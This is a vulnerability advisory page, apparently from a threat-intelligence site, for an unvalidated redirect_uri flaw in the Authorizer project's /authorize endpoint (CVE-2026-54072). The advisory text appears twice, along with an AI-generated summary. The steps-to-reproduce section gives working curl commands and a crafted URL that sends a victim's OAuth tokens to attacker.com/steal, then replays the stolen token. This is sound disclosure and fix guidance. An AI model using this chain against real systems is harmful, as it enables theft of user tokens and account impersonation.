Authorizer: Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL (CVE-2026-54072)
## Summary The `/authorize` endpoint accepts any `redirect_uri` without validating it against `AllowedOrigins`. When `response_type=token` or `response_type=id_token`, the server appends `access_token`, `id_token`, and `refresh_token` as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required `client_id` from the public `/graphql?query={meta{client_id}}` endpoint. Partial fix was applied in v2.0.1 to other handlers (`oauth_login`, `verify_email`, `magic_link_login`, `forgot_password`, `invite_members`, `oauth_callback`) but `/authorize` was not included. ## Vulnerable Code `internal/http_handlers/authorize.go`: ```go redirectURI := strings.TrimSpace(gc.Query("redirect_uri")) // ... no IsValidOrigin() call ... // response_type=token path (line ~263): if strings.Contains(redirectURI, "?") { redirectURI = redirectURI + "&" + params } else { redirectURI = redirectURI + "?" + params } handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL ``` Compare with the fixed `oauth_login.go` in v2.0.1 which calls `validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins)`. ## Steps to Reproduce ```bash # 1. Obtain client_id (no authentication required) CLIENT_ID=$(curl -s http://TARGET/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])") echo "client_id: $CLIENT_ID" # 2. Craft the malicious URL and send to victim (victim must be logged in) # When victim opens this URL, tokens are delivered to attacker.com MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query" echo "Send to victim: $MALICIOUS_URL" # 3. Attacker receives 302 redirect with all tokens: # https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ... # 4. Validate stolen token curl -s http://TARGET/userinfo \ -H "Authorization: Bearer STOLEN_ACCESS_TOKEN" # Returns: {"email":"[email protected]","id":"...","roles":["user"]} ``` ## Impact An attacker who tricks a logged-in user into clicking a crafted link can steal the victim's `access_token`, `id_token`, and `refresh_token`. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically. ## Proposed Fix Add the same `IsValidOrigin` check that was applied to the other handlers in v2.0.1: ```go // In authorize.go, after reading redirect_uri: if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) { handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{ "error": "invalid_request", "error_description": "redirect_uri is not allowed", }, http.StatusBadRequest) return } ```
AI Analysis
Technical Summary
The vulnerability in github.com/authorizerdev/authorizer's /authorize endpoint arises because it accepts any redirect_uri without validating it against the configured AllowedOrigins. When the response_type is token or id_token, the server includes access_token, id_token, and refresh_token in the redirect URL query parameters and issues a 302 redirect to the supplied redirect_uri. An attacker can obtain the client_id from a public GraphQL endpoint and craft a malicious URL that, when visited by a logged-in user, causes the tokens to be sent to an attacker-controlled URL. A partial fix was applied in version 2.0.1 to other OAuth handlers but not to /authorize. The proposed fix is to add an origin validation check similar to other handlers to reject unauthorized redirect_uris.
Potential Impact
An attacker who convinces a logged-in user to visit a crafted URL can steal the victim's OAuth2 tokens (access_token, id_token, refresh_token). With these tokens, the attacker can impersonate the victim for the full token lifetime. No additional user interaction beyond clicking the link is required, as the victim's browser automatically follows the redirect containing the tokens. This leads to a critical compromise of user accounts and session integrity.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. The proposed fix is to implement validation of the redirect_uri parameter against the configured AllowedOrigins in the /authorize endpoint, rejecting requests with unauthorized redirect_uris. This matches the partial fix applied in version 2.0.1 to other OAuth handlers. Until a patch is available, avoid exposing the /authorize endpoint or restrict usage to trusted clients only.
Authorizer: Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL (CVE-2026-54072)
Description
## Summary The `/authorize` endpoint accepts any `redirect_uri` without validating it against `AllowedOrigins`. When `response_type=token` or `response_type=id_token`, the server appends `access_token`, `id_token`, and `refresh_token` as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required `client_id` from the public `/graphql?query={meta{client_id}}` endpoint. Partial fix was applied in v2.0.1 to other handlers (`oauth_login`, `verify_email`, `magic_link_login`, `forgot_password`, `invite_members`, `oauth_callback`) but `/authorize` was not included. ## Vulnerable Code `internal/http_handlers/authorize.go`: ```go redirectURI := strings.TrimSpace(gc.Query("redirect_uri")) // ... no IsValidOrigin() call ... // response_type=token path (line ~263): if strings.Contains(redirectURI, "?") { redirectURI = redirectURI + "&" + params } else { redirectURI = redirectURI + "?" + params } handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL ``` Compare with the fixed `oauth_login.go` in v2.0.1 which calls `validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins)`. ## Steps to Reproduce ```bash # 1. Obtain client_id (no authentication required) CLIENT_ID=$(curl -s http://TARGET/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])") echo "client_id: $CLIENT_ID" # 2. Craft the malicious URL and send to victim (victim must be logged in) # When victim opens this URL, tokens are delivered to attacker.com MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query" echo "Send to victim: $MALICIOUS_URL" # 3. Attacker receives 302 redirect with all tokens: # https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ... # 4. Validate stolen token curl -s http://TARGET/userinfo \ -H "Authorization: Bearer STOLEN_ACCESS_TOKEN" # Returns: {"email":"[email protected]","id":"...","roles":["user"]} ``` ## Impact An attacker who tricks a logged-in user into clicking a crafted link can steal the victim's `access_token`, `id_token`, and `refresh_token`. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically. ## Proposed Fix Add the same `IsValidOrigin` check that was applied to the other handlers in v2.0.1: ```go // In authorize.go, after reading redirect_uri: if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) { handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{ "error": "invalid_request", "error_description": "redirect_uri is not allowed", }, http.StatusBadRequest) return } ```
CVSS v3.1
Score 9.3critical
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability in github.com/authorizerdev/authorizer's /authorize endpoint arises because it accepts any redirect_uri without validating it against the configured AllowedOrigins. When the response_type is token or id_token, the server includes access_token, id_token, and refresh_token in the redirect URL query parameters and issues a 302 redirect to the supplied redirect_uri. An attacker can obtain the client_id from a public GraphQL endpoint and craft a malicious URL that, when visited by a logged-in user, causes the tokens to be sent to an attacker-controlled URL. A partial fix was applied in version 2.0.1 to other OAuth handlers but not to /authorize. The proposed fix is to add an origin validation check similar to other handlers to reject unauthorized redirect_uris.
Potential Impact
An attacker who convinces a logged-in user to visit a crafted URL can steal the victim's OAuth2 tokens (access_token, id_token, refresh_token). With these tokens, the attacker can impersonate the victim for the full token lifetime. No additional user interaction beyond clicking the link is required, as the victim's browser automatically follows the redirect containing the tokens. This leads to a critical compromise of user accounts and session integrity.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. The proposed fix is to implement validation of the redirect_uri parameter against the configured AllowedOrigins in the /authorize endpoint, rejecting requests with unauthorized redirect_uris. This matches the partial fix applied in version 2.0.1 to other OAuth handlers. Until a patch is available, avoid exposing the /authorize endpoint or restrict usage to trusted clients only.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-h29v-hj44-q8cv
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2026-54072"]
- Ecosystems
- ["Go"]
- Database Specific Severity
- CRITICAL
- Cvss Version
- 3.1
Threat ID: 6a520eb668715ace438f52fe
Added to database: 07/11/2026, 09:36:54 UTC
Last enriched: 07/11/2026, 09:51:05 UTC
Last updated: 07/31/2026, 12:27:30 UTC
Views: 49
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.